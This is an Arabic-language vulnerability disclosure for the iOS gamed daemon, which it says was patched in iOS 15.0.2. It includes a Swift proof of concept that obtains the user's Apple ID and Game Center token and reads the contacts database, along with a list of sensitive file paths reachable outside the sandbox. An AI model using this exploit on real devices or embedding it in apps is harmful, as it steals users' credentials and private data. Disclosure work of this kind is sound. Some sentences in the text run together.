
استغلال gamed في iOS (تم إصلاحه في 15.0.2)
تحديث: قامت Apple بإصلاح هذا بهدوء في iOS 15.0.2 دون أي اعتراف عام أو إشادة.
يمكن لأي تطبيق مثبّت من متجر App Store الوصول إلى البيانات التالية دون أي مطالبة من المستخدم:
فيما يلي إثبات مفهوم قصير.
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
let appleID = response.credential.accountName
let token = response.credential.authenticationToken
}
utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
let addressBookData = data
}
}
كيف يحدث ذلك:
com.apple.gamed لا تتحقق بشكل صحيح من صلاحية com.apple.developer.game-centergetServicesForPID:localPlayer:reply: يعيد عدة كائنات وكيل XPC (GKAccountService, GKFriendService, GKUtilityService, إلخ).com.apple.developer.game-center)، فإن استدعاء authenticatePlayerWithExistingCredentialsWithHandler: على GKAccountService يعيد كائنًا يحتوي على Apple ID الخاص بالمستخدم وDSID ورمز مصادقة Game Center (الذي يسمح بإرسال طلبات إلى https://gc.apple.com نيابةً عن المستخدم). كما أن استدعاء getProfilesForPlayerIDs:handler: على GKProfileService يعيد كائنًا يحتوي على الاسم الأول والأخير لحساب Apple ID الخاص بالمستخدم، واستدعاء على يعيد كائنًا يحتوي على معلومات حول أصدقاء المستخدم في Game Center.في صفحة برنامج Apple Security Bounty تُقيَّم هذه الثغرة بمبلغ 100,000 دولار (وصول واسع للتطبيق إلى بيانات حساسة تكون محمية عادةً بمطالبة TCC أو صندوق حماية المنصة. يشمل الوصول إلى «البيانات الحساسة» الحصول على وصول واسع (أي قاعدة البيانات الكاملة) من جهات الاتصال).
getFriendsForPlayer:handler:GKFriendServicecom.apple.developer.game-center، فإن استدعاء requestImageDataForURL:subdirectory:fileName:handler: على GKUtilityService يسمح بقراءة ملفات عشوائية خارج صندوق الحماية (sandbox) الخاص بالتطبيق عن طريق تمرير عناوين URL للملفات إلى تلك الطريقة. من بين الملفات (على سبيل المثال لا الحصر) التي يمكن الوصول إليها بهذه الطريقة ما يلي:
/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - يحتوي على ذاكرة التخزين المؤقت لـ MobileGestalt
/var/mobile/Library/CoreDuet/People/interactionC.db - يحتوي على قائمة جهات اتصال من Mail وSMS وiMessage وتطبيقات المراسلة التابعة لجهات خارجية، وبيانات وصفية حول تفاعل المستخدم مع هذه الجهات (بما في ذلك الطوابع الزمنية والإحصائيات)
/var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - يحتوي على جهات الاتصال المفضلة وأرقام هواتفهم
/var/mobile/Library/AddressBook/AddressBook.sqlitedb - يحتوي على قاعدة بيانات دفتر العناوين الكاملة
/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - يحتوي على صور جهات اتصال دفتر العناوينcacheImageData:inSubdirectory:withFileName:handler: على GKUtilityService بكتابة بيانات عشوائية إلى موقع خارج صندوق الحماية الخاص بالتطبيق.